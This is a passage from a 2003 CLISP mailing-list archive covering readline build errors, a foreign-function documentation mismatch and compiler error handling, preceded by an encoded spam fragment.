U0VMRUNUPiA8L1REPg0KICAgICAgICAgICAgICAgIDwvVFI+DQogICAgICAg ICAgICAgICAgPFRSPg0KICAgICAgICAgICAgICAgICAgPFREIGNvbFNwYW49 MiBoZWlnaHQ9MjU+PERJViBhbGlnbj1jZW50ZXI+DQogICAgICAgICAgICAg ICAgICAgICAgPHA+PEZPTlQgZmFjZT0iQXJpYWwsIEhlbHZldGljYSwNCnNh bnMtc2VyaWYiDQogICAgICAgICAgICBzaXplPTI+PEI+UGxlYXNlIGxpc3Qg dGhlIGtleXdvcmRzIHRoYXQgeW91IHdvdWxkIGxpa2UgdXMgdG8gcnVuIGEN CiAgICAgICAgICAgICAgICAgICAgICAgIHJlcG9ydCBvbjo8L0I+PC9GT05U PjwvcD4NCiAgICAgICAgICAgICAgICAgICAgPC9ESVY+PC9URD4NCiAgICAg ICAgICAgICAgICA8L1RSPg0KICAgICAgICAgICAgICAgIDxUUj4NCiAgICAg ICAgICAgICAgICAgIDxURCB3aWR0aD0iNTAlIiBoZWlnaHQ9MjU+PEZPTlQN CiAgICAgICAgICAgIGZhY2U9IkFyaWFsLCBIZWx2ZXRpY2EsDQpzYW5zLXNl cmlmIiBzaXplPTI+S2V5d29yZCAxOiA8L0ZPTlQ+PC9URD4NCiAgICAgICAg ICAgICAgICAgIDxURCB3aWR0aD0iNTAlIiBoZWlnaHQ9MjU+PEZPTlQNCiAg ICAgICAgICAgIGZhY2U9IkFyaWFsLCBIZWx2ZXRpY2EsDQpzYW5zLXNlcmlm Ij4NCiAgICAgICAgICAgICAgICAgICAgPElOUFVUIG1heExlbmd0aD01MA0K ICAgICAgICAgICAgc2l6ZT0yNSBuYW1lPWtleXdvcmQxPg0KICAgICAgICAg ICAgICAgICAgICA8L0ZPTlQ+PC9URD4NCiAgICAgICAgICAgICAgICA8L1RS Pg0KICAgICAgICAgICAgICAgIDxUUj4NCiAgICAgICAgICAgICAgICAgIDxU RCB3aWR0aD0iNTAlIiBoZWlnaHQ9MjU+PEZPTlQNCiAgICAgICAgICAgIGZh Y2U9IkFyaWFsLCBIZWx2ZXRpY2EsDQpzYW5zLXNlcmlmIiBzaXplPTI+S2V5 d29yZCAyOiA8L0ZPTlQ+PC9URD4NCiAgICAgICAgICAgICAgICAgIDxURCB3 aWR0aD0iNTAlIiBoZWlnaHQ9MjU+PEZPTlQNCiAgICAgICAgICAgIGZhY2U9 IkFyaWFsLCBIZWx2ZXRpY2EsDQpzYW5zLXNlcmlmIj4NCiAgICAgICAgICAg ICAgICAgICAgPElOUFVUIG1heExlbmd0aD01MA0KICAgICAgICAgICAgc2l6 ZT0yNSBuYW1lPWtleXdvcmQyPg0KICAgICAgICAgICAgICAgICAgICA8L0ZP TlQ+PC9URD4NCiAgICAgICAgICAgICAgICA8L1RSPg0KICAgICAgICAgICAg ICAgIDxUUj4NCiAgICAgICAgICAgICAgICAgIDxURCB3aWR0aD0iNTAlIiBo ZWlnaHQ9MjU+PEZPTlQNCiAgICAgICAgICAgIGZhY2U9IkFyaWFsLCBIZWx2 ZXRpY2EsDQpzYW5zLXNlcmlmIiBzaXplPTI+S2V5d29yZCAzOiA8L0ZPTlQ+ PC9URD4NCiAgICAgICAgICAgICAgICAgIDxURCB3aWR0aD0iNTAlIiBoZWln aHQ9MjU+PEZPTlQNCiAgICAgICAgICAgIGZhY2U9IkFyaWFsLCBIZWx2ZXRp Y2EsDQpzYW5zLXNlcmlmIj4NCiAgICAgICAgICAgICAgICAgICAgPElOUFVU IG1heExlbmd0aD01MA0KICAgICAgICAgICAgc2l6ZT0yNSBuYW1lPWtleXdv cmQzPg0KICAgICAgICAgICAgICAgICAgICA8L0ZPTlQ+PC9URD4NCiAgICAg ICAgICAgICAgICA8L1RSPg0KICAgICAgICAgICAgICA8L1RCT0RZPg0KICAg ICAgICAgICAgPC9UQUJMRT4NCiAgICAgIDxQPjxJTlBVVCB0eXBlPXN1Ym1p dCB2YWx1ZT0iUmVxdWVzdCBSZXBvcnQiIG5hbWU9U3VibWl0PiA8L1A+PC9E SVY+PC9URD48L1RSPg0KICA8VFIgYmdDb2xvcj0jZWFlYWVhPg0KICAgIDxU RCBoZWlnaHQ9MjA+Jm5ic3A7PC9URD48L1RSPjwvVEJPRFk+PC9UQUJMRT48 L0ZPUk0+DQo8UCBhbGlnbj1jZW50ZXI+PEZPTlQgZmFjZT0iQXJpYWwsIEhl bHZldGljYSwgc2Fucy1zZXJpZiIgc2l6ZT0yPklmIHlvdSB3b3VsZA0KbGlr ZSB0byBiZSByZW1vdmVkIGZyb20gdGhpcyBsaXN0LCBwbGVhc2Ugc2VuZCBh biBlbWFpbCB0byA8QQ0KaHJlZj0ibWFpbHRvOndha2V1cGhpdHNfcmVtQHlh aG9vLmNhIj5wb3RlbnR0cmFmZmljX3JlbUBleGNpdGUuY29tPC9BPg0Kd2l0 aDxCUj5yZW1vdmUiIGluIHRoZSBzdWJqZWN0IGxpbmUuPC9GT05UPjwvUD48 L0JPRFk+PC9IVE1MPg== ------=_NextPart_F46_B819_6B16713D.F8070FCF-- From don-sourceforge@isis.cs3-inc.com Tue Apr 29 01:17:38 2003 Received: from isis.cs3-inc.com ([207.224.119.73]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19AQIz-0006vg-00 for ; Tue, 29 Apr 2003 01:17:38 -0700 Received: (from don@localhost) by isis.cs3-inc.com (8.11.0/8.11.0) id h3T8A8s05772 for clisp-list@lists.sourceforge.net; Tue, 29 Apr 2003 01:10:08 -0700 Message-Id: <200304290810.h3T8A8s05772@isis.cs3-inc.com> X-Authentication-Warning: isis.cs3-inc.com: don set sender to don-sourceforge using -f X-Authentication-Warning: isis.cs3-inc.com: Processed from queue /var/spool/mqueue X-Authentication-Warning: isis.cs3-inc.com: Processed by don with -C /etc/sendmail.cf From: don-sourceforge@isis.cs3-inc.com (Don Cohen) To: clisp-list@lists.sourceforge.net Subject: [clisp-list] trouble with clisp-2.30-i686-unknown-linux-2.4.18-10.tar.gz Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Apr 29 01:18:05 2003 X-Original-Date: Tue, 29 Apr 2003 01:10:08 -0700 downloaded from http://sourceforge.net/project/showfiles.php?group_id=1355 [root@we-24-130-19-131 clisp-2.30]# make cc -O base/modules.o base/lisp.a base/libcharset.a base/libavcall.a base/libcallback.a -lreadline -lncurses -ldl base//usr/local/lib/libsigsegv.a -lc -lm -o base/lisp.run cc: base//usr/local/lib/libsigsegv.a: No such file or directory make: *** [base/lisp.run] Error 1 I now remove the base/ from the above line in Makefile. [root@we-24-130-19-131 clisp-2.30]# make cc -O base/modules.o base/lisp.a base/libcharset.a base/libavcall.a base/libcallback.a -lreadline -lncurses -ldl /usr/local/lib/libsigsegv.a -lc -lm -o base/lisp.run base/lisp.a(lisp.o): In function `rd_ch_terminal3': lisp.o(.text+0x34101): undefined reference to `rl_already_prompted' base/lisp.a(lisp.o): In function `make_terminal_stream_': lisp.o(.text+0x346f2): undefined reference to `rl_gnu_readline_p' base/lisp.a(lisp.o): In function `rl_memory_abort': lisp.o(.text+0x392db): undefined reference to `rl_gnu_readline_p' base/lisp.a(lisp.o): In function `lisp_completion_more': lisp.o(.text+0x33fa5): undefined reference to `rl_filename_completion_function' collect2: ld returned 1 exit status make: *** [base/lisp.run] Error 1 I see from a web search something that looks relevant: FROM: Sam Steingold DATE: 09/28/2002 17:19:28 SUBJECT: RE: [clisp-list] clisp-2.30 build problems on Red Hat Linux 6.2 ... I think you have a _very_ old readline version (where everything was called "foo" instead of "rl_foo" in the newer readline) I just downloaded and installed readline-4.3 so that must not be it. you can also do $ ./configure --without-readline --build build-no-readline I now try the source distribution from the same place and get the same result from the line above. (Not quite but almost - no complaint about lisp_completion_more, the hex numbers are different and the complaints come from stream.o instead of lisp.o) From Joerg-Cyril.Hoehle@t-systems.com Tue Apr 29 01:21:13 2003 Received: from mail1.telekom.de ([62.225.183.235]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19AQMQ-0007en-00 for ; Tue, 29 Apr 2003 01:21:12 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP; Tue, 29 Apr 2003 10:18:01 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Tue, 29 Apr 2003 10:18:01 +0200 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE03ECEF69@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: haible@ilog.fr MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Subject: [clisp-list] multidimensional C-ARRAY: documentation differs from implementati on Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Apr 29 01:22:04 2003 X-Original-Date: Tue, 29 Apr 2003 10:18:01 +0200 Hi, there's a mismatch between implemented code and impnotes. Impnotes uses (c-array c-type dim1 dim2 ... dimn) The code implements (c-array c-type (dim1 dim2 ... dimn)) and (c-array c-type dim) as a shortcut for a one-dimensional array. Back in 1996, before impnotes was converted to HTML, doc/foreign.txt = already contained this mismatch: the BNF describing c-array, c-struct = etc. defined (c-array c-type (dim1 ... dimn)) and (c-array c-type dim1) -- as = implemented -- while the explaining text talked about (c-array c-type = dim1 ... dimn). The BNF was dropped during conversion to HTML. (c-array c-type (dim1 ... dimn)) looks familiar to Lisp declarations (array elt-type (dim1 ... dimn)) However, (c-array c-type Number) means something completely different = from (array elt-type Number): the latter specifies an N-dimensional array. The number-or-list polymorphism thus resembles MAKE-ARRAY, not Lisp = array declarations. If nobody says otherwise during a two weeks delay, I suggest to change = the documentation to reflect the code, even though I'd prefer the = (c-array c-type dim1 ... dimn) syntax that the description of c-array = and ffi:element refer to and which naturally expands the (c-array = c-type dim1) case. YMMV http://clisp.cons.org/impnotes/dffi.html Regards, J=F6rg H=F6hle. From Joerg-Cyril.Hoehle@t-systems.com Tue Apr 29 07:05:46 2003 Received: from mail1.telekom.de ([62.225.183.235]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19AVjs-0000lE-00 for ; Tue, 29 Apr 2003 07:05:44 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Tue, 29 Apr 2003 16:05:33 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Tue, 29 Apr 2003 16:05:33 +0200 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE03ECF189@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Subject: [clisp-list] error or warning during compilation, yet some function is generat ed Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Apr 29 07:06:13 2003 X-Original-Date: Tue, 29 Apr 2003 16:05:31 +0200 Hi, I wonder about the following behaviour [21]> (lambda(s)(declare (compile))(ffi:with-foreign-string (f s :foo = 1) (values f s))) ;NB: This form is erroneous. ERROR in :LAMBDA-2 : Constant :FOO cannot be bound. WARNING in LAMBDA : variable S is not used. Misspelled or missing IGNORE declaration? # ; I.e. an error is reported, yet compilation continues, and returns a = weird function object: [22]> (funcall *) NIL [23]> (disassemble **) Disassembly of function :LAMBDA 0 required arguments 0 optional arguments No rest parameter No keyword parameters 2 byte-code instructions: 0 (NIL) 1 (SKIP&RET 1) # ;I.e. a function which takes no arguments(! -- where did S go?) and = returns NIL. This behaviour is different from doing [24]> (defun foo (s) (ffi:with-foreign-string (f s :foo 1) (values f = s))) FOO [25]> (compile *) ERROR in FOO-2 : Constant :FOO cannot be bound. WARNING in FOO : variable S is not used. Misspelled or missing IGNORE declaration? NIL ; 2 ; 1 No function was produced in this case, which I feel fine. Comments welcome, J=F6rg H=F6hle From sds@gnu.org Wed Apr 30 07:12:07 2003 Received: from pop016pub.verizon.net ([206.46.170.173] helo=pop016.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19AsJb-0006An-00 for ; Wed, 30 Apr 2003 07:12:07 -0700 Received: from loiso.podval.org ([68.160.9.251]) by pop016.verizon.net (InterMail vM.5.01.05.33 201-253-122-126-133-20030313) with ESMTP id <20030430141200.ELZW3199.pop016.verizon.net@loiso.podval.org>; Wed, 30 Apr 2003 09:12:00 -0500 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.8/8.12.8) with ESMTP id h3UECF9u010146; Wed, 30 Apr 2003 10:12:16 -0400 Received: (from sds@localhost) by loiso.podval.org (8.12.8/8.12.7/Submit) id h3UECBxn010142; Wed, 30 Apr 2003 10:12:11 -0400 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] error or warning during compilation, yet some function is generat ed References: <9F8582E37B2EE5498E76392AEDDCD3FE03ECF189@G8PQD.blf01.telekom.de> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <9F8582E37B2EE5498E76392AEDDCD3FE03ECF189@G8PQD.blf01.telekom.de> Message-ID: Lines: 27 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at pop016.verizon.net from [68.160.9.251] at Wed, 30 Apr 2003 09:12:00 -0500 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Apr 30 07:13:02 2003 X-Original-Date: 30 Apr 2003 10:12:09 -0400 > * In message <9F8582E37B2EE5498E76392AEDDCD3FE03ECF189@G8PQD.blf01.telekom.de> > * On the subject of "[clisp-list] error or warning during compilation, yet some function is generat ed" > * Sent on Tue, 29 Apr 2003 16:05:31 +0200 > * Honorable "Hoehle, Joerg-Cyril" writes: > > [21]> (lambda(s)(declare (compile))(ffi:with-foreign-string (f s :foo 1) (values f s))) > ;NB: This form is erroneous. > > ERROR in :LAMBDA-2 : > Constant :FOO cannot be bound. > WARNING in LAMBDA : > variable S is not used. > Misspelled or missing IGNORE declaration? > # > > ; I.e. an error is reported, yet compilation continues, and returns a > weird function object: this appears to be the intended behavior in COMPILE-LAMBDA (compiler.lisp) I can easily disable it, but I would love to hear why Bruno introduced it. -- Sam Steingold (http://www.podval.org/~sds) running RedHat9 GNU/Linux Sinners can repent, but stupid is forever. From lisp-clisp-list@m.gmane.org Wed Apr 30 09:35:45 2003 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19AuYa-0000ZI-00 for ; Wed, 30 Apr 2003 09:35:44 -0700 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 19AuVp-0005oE-00 for ; Wed, 30 Apr 2003 18:32:53 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net Received: from news by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 19AuTA-0005aW-00 for ; Wed, 30 Apr 2003 18:30:08 +0200 From: Sam Steingold Organization: disorganization Lines: 61 Message-ID: References: <200304290810.h3T8A8s05772@isis.cs3-inc.com> Reply-To: sds@gnu.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@main.gmane.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 Subject: [clisp-list] Re: trouble with clisp-2.30-i686-unknown-linux-2.4.18-10.tar.gz Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Apr 30 09:36:06 2003 X-Original-Date: 30 Apr 2003 12:31:36 -0400 > * In message <200304290810.h3T8A8s05772@isis.cs3-inc.com> > * On the subject of "trouble with clisp-2.30-i686-unknown-linux-2.4.18-10.tar.gz" > * Sent on Tue, 29 Apr 2003 01:10:08 -0700 > * Honorable don-sourceforge@isis.cs3-inc.com (Don Cohen) writes: > > downloaded from > http://sourceforge.net/project/showfiles.php?group_id=1355 > [root@we-24-130-19-131 clisp-2.30]# make > cc -O base/modules.o base/lisp.a base/libcharset.a base/libavcall.a base/libcallback.a -lreadline -lncurses -ldl /usr/local/lib/libsigsegv.a -lc -lm -o base/lisp.run > base/lisp.a(lisp.o): In function `rd_ch_terminal3': > lisp.o(.text+0x34101): undefined reference to `rl_already_prompted' > base/lisp.a(lisp.o): In function `make_terminal_stream_': > lisp.o(.text+0x346f2): undefined reference to `rl_gnu_readline_p' > base/lisp.a(lisp.o): In function `rl_memory_abort': > lisp.o(.text+0x392db): undefined reference to `rl_gnu_readline_p' > base/lisp.a(lisp.o): In function `lisp_completion_more': > lisp.o(.text+0x33fa5): undefined reference to `rl_filename_completion_function' > collect2: ld returned 1 exit status > make: *** [base/lisp.run] Error 1 > > I just downloaded and installed readline-4.3 so that must not be it. are you sure that there is no rogue libreadline.so in an odd place? $ type libls libls is a function libls () { ls -Fs --color=tty `echo -e /lib\\\\n/usr/lib |cat - /etc/ld.so.conf |sed s.\$./$*.` } $ libls \*readline\* ls: /lib/*readline*: No such file or directory ls: /usr/kerberos/lib/*readline*: No such file or directory ls: /usr/X11R6/lib/*readline*: No such file or directory ls: /*readline*: No such file or directory ls: /usr/lib/mysql/*readline*: No such file or directory ls: /usr/lib/qt-3.0.5/lib/*readline*: No such file or directory ls: /usr/lib/wine/*readline*: No such file or directory ls: /usr/lib/qt-3.1/lib/*readline*: No such file or directory ls: /usr/lib/sane/*readline*: No such file or directory 12 /usr/lib/libguilereadline-v-12.a 4 /usr/lib/libguilereadline-v-12.la* 0 /usr/lib/libguilereadline-v-12.so@ 0 /usr/lib/libguilereadline-v-12.so.12@ 16 /usr/lib/libguilereadline-v-12.so.12.3.0* 256 /usr/lib/libreadline.a 0 /usr/lib/libreadline.so@ 0 /usr/lib/libreadline.so.4@ 176 /usr/lib/libreadline.so.4.3* > I now try the source distribution from the same place and get the same > result from the line above. (Not quite but almost - no complaint > about lisp_completion_more, the hex numbers are different and the > complaints come from stream.o instead of lisp.o) what about CVS head? -- Sam Steingold (http://www.podval.org/~sds) running RedHat9 GNU/Linux Old Age Comes at a Bad Time. From haible@ilog.fr Wed Apr 30 09:57:01 2003 Received: from ftp.ilog.fr ([81.80.162.195]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19Aut4-0000Ge-00 for ; Wed, 30 Apr 2003 09:56:54 -0700 Received: from laposte.ilog.fr (cerbere-qe0 [81.80.162.193]) by ftp.ilog.fr (8.12.9/8.12.9) with ESMTP id h3UGufWZ007191; Wed, 30 Apr 2003 18:56:41 +0200 (MET DST) Received: from honolulu.ilog.fr ([172.16.15.121]) by laposte.ilog.fr (8.11.6/8.11.6) with ESMTP id h3UGudZ14454; Wed, 30 Apr 2003 18:56:40 +0200 (MET DST) Received: (from haible@localhost) by honolulu.ilog.fr (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) id SAA21623; Wed, 30 Apr 2003 18:55:49 +0200 From: Bruno Haible MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <16048.15.502758.29150@honolulu.ilog.fr> To: sds@gnu.org Cc: "Hoehle, Joerg-Cyril" , clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] error or warning during compilation, yet some function is generat ed In-Reply-To: References: <9F8582E37B2EE5498E76392AEDDCD3FE03ECF189@G8PQD.blf01.telekom.de> X-Mailer: VM 6.72 under 21.1 (patch 8) "Bryce Canyon" XEmacs Lucid Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Apr 30 09:58:13 2003 X-Original-Date: Wed, 30 Apr 2003 18:55:43 +0200 (CEST) Sam writes: > > ; I.e. an error is reported, yet compilation continues, and returns a > > weird function object: > > this appears to be the intended behavior in COMPILE-LAMBDA > (compiler.lisp) > I can easily disable it, but I would love to hear why Bruno introduced it. I don't see a good reason anymore not to give an (sys::error-of-type 'sys::source-program-error ...) Bruno From sds@gnu.org Wed Apr 30 10:55:59 2003 Received: from out003pub.verizon.net ([206.46.170.103] helo=out003.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19AvoF-00066k-00 for ; Wed, 30 Apr 2003 10:55:59 -0700 Received: from loiso.podval.org ([68.160.9.251]) by out003.verizon.net (InterMail vM.5.01.05.33 201-253-122-126-133-20030313) with ESMTP id <20030430175552.JFUG2239.out003.verizon.net@loiso.podval.org>; Wed, 30 Apr 2003 12:55:52 -0500 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.8/8.12.8) with ESMTP id h3UHu99u010815; Wed, 30 Apr 2003 13:56:09 -0400 Received: (from sds@localhost) by loiso.podval.org (8.12.8/8.12.7/Submit) id h3UHu9qW010811; Wed, 30 Apr 2003 13:56:09 -0400 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Bruno Haible Cc: "Hoehle, Joerg-Cyril" , clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] error or warning during compilation, yet some function is generat ed References: <9F8582E37B2EE5498E76392AEDDCD3FE03ECF189@G8PQD.blf01.telekom.de> <16048.15.502758.29150@honolulu.ilog.fr> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <16048.15.502758.29150@honolulu.ilog.fr> Message-ID: Lines: 46 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at out003.verizon.net from [68.160.9.251] at Wed, 30 Apr 2003 12:55:52 -0500 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Apr 30 10:56:20 2003 X-Original-Date: 30 Apr 2003 13:56:08 -0400 > * In message <16048.15.502758.29150@honolulu.ilog.fr> > * On the subject of "Re: [clisp-list] error or warning during compilation, yet some function is generat ed" > * Sent on Wed, 30 Apr 2003 18:55:43 +0200 (CEST) > * Honorable Bruno Haible writes: > > Sam writes: > > > > ; I.e. an error is reported, yet compilation continues, and returns a > > > weird function object: > > > > this appears to be the intended behavior in COMPILE-LAMBDA > > (compiler.lisp) > > I can easily disable it, but I would love to hear why Bruno introduced it. > > I don't see a good reason anymore not to give an > (sys::error-of-type 'sys::source-program-error ...) either this or just return nil, like we do now in other cases: [1]> (defun f () (let ((:f 0)) :f)) F [2]> (compile 'f) ERROR in F : Constant :F cannot be bound. NIL ; 1 ; 1 [3]> (setq f (lambda () (let ((:f 0)) :f))) # [6]> (compile nil f) ERROR : Constant :F cannot be bound. NIL ; 1 ; 1 returning NIL would violate the rule that (lambda ...) returns a function, so, I guess, an error is better. -- Sam Steingold (http://www.podval.org/~sds) running RedHat9 GNU/Linux There is an exception to every rule, including this one. From don-sourceforge@isis.cs3-inc.com Wed Apr 30 15:29:14 2003 Received: from isis.cs3-inc.com ([207.224.119.73]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19B04f-0003Hq-00 for ; Wed, 30 Apr 2003 15:29:14 -0700 Received: (from don@localhost) by isis.cs3-inc.com (8.11.0/8.11.0) id h3UMLTw18590 for clisp-list@lists.sourceforge.net; Wed, 30 Apr 2003 15:21:29 -0700 X-Authentication-Warning: isis.cs3-inc.com: don set sender to don-sourceforge using -f X-Authentication-Warning: isis.cs3-inc.com: Processed from queue /var/spool/mqueue X-Authentication-Warning: isis.cs3-inc.com: Processed by don with -C /etc/sendmail.cf From: don-sourceforge@isis.cs3-inc.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <16048.19561.138187.415881@isis.cs3-inc.com> To: clisp-list@lists.sourceforge.net In-Reply-To: References: X-Mailer: VM 6.92 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid Subject: [clisp-list] screen package Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Apr 30 15:30:05 2003 X-Original-Date: Wed, 30 Apr 2003 15:21:29 -0700 In the past I've relied on ansi terminal emulation for both color and cursor positioning, but that seems not to work on ME, and seems not straight forward in XP. So I'm now trying to use the screen package again. Does anyone out there have experience with the screen package in windows XP ? I've not yet been able to try it myself but I was unable over the phone to get it to work for a friend. Also I notice (at least on windows ME and XP) the screen package turns the screen blue. (Even just calling make-window does this, which seems strange to me.) This suggests that it might be easy to add support for colors, e.g, allowing you to print in red on a green background. If that is easy, and especially if this functionality is not otherwise easy to obtain, I suggest adding it. If anyone does know an easy substitute, please tell me about it. From don-sourceforge@isis.cs3-inc.com Wed Apr 30 23:45:25 2003 Received: from isis.cs3-inc.com ([207.224.119.73]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19B7or-0004I9-00 for ; Wed, 30 Apr 2003 23:45:25 -0700 Received: (from don@localhost) by isis.cs3-inc.com (8.11.0/8.11.0) id h416bav21415 for clisp-list@lists.sourceforge.net; Wed, 30 Apr 2003 23:37:36 -0700 X-Authentication-Warning: isis.cs3-inc.com: don set sender to don-sourceforge using -f X-Authentication-Warning: isis.cs3-inc.com: Processed from queue /var/spool/mqueue X-Authentication-Warning: isis.cs3-inc.com: Processed by don with -C /etc/sendmail.cf From: don-sourceforge@isis.cs3-inc.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <16048.49328.461483.162976@isis.cs3-inc.com> To: clisp-list@lists.sourceforge.net In-Reply-To: References: X-Mailer: VM 6.92 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid Subject: [clisp-list] trouble with [=>] readline Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Apr 30 23:46:06 2003 X-Original-Date: Wed, 30 Apr 2003 23:37:36 -0700 > From: Sam Steingold > Subject: [clisp-list] Re: trouble with clisp-2.30-i686-unknown-linux-2.4.18-10.tar.gz ... > are you sure that there is no rogue libreadline.so in an odd place? Way to go - that seems to be the problem. When I remove them (from /usr/lib - the new ones are in /usr/local/lib) I can do the make but then when I try to run the result I get a complaint about not finding readline.so But building from the source seems to work better. > $ type libls What's this? For me the result is not found. Anyhow, I now have a working version that's recent by my standards. From ampy@inbox.ru Thu May 01 02:05:31 2003 Received: from mx6.mail.ru ([194.67.23.26]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19BA0P-0007jX-00 for ; Thu, 01 May 2003 02:05:30 -0700 Received: from [212.16.207.238] (port=1203 helo=ppp238-AS-5.vtc.ru) by mx6.mail.ru with esmtp id 19BA0E-0003s6-00; Thu, 01 May 2003 13:05:25 +0400 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodjuck Organization: ICH X-Priority: 3 (Normal) Message-ID: <7736133577.20030501201018@inbox.ru> To: don-sourceforge@isis.cs3-inc.com ((Don Cohen)) 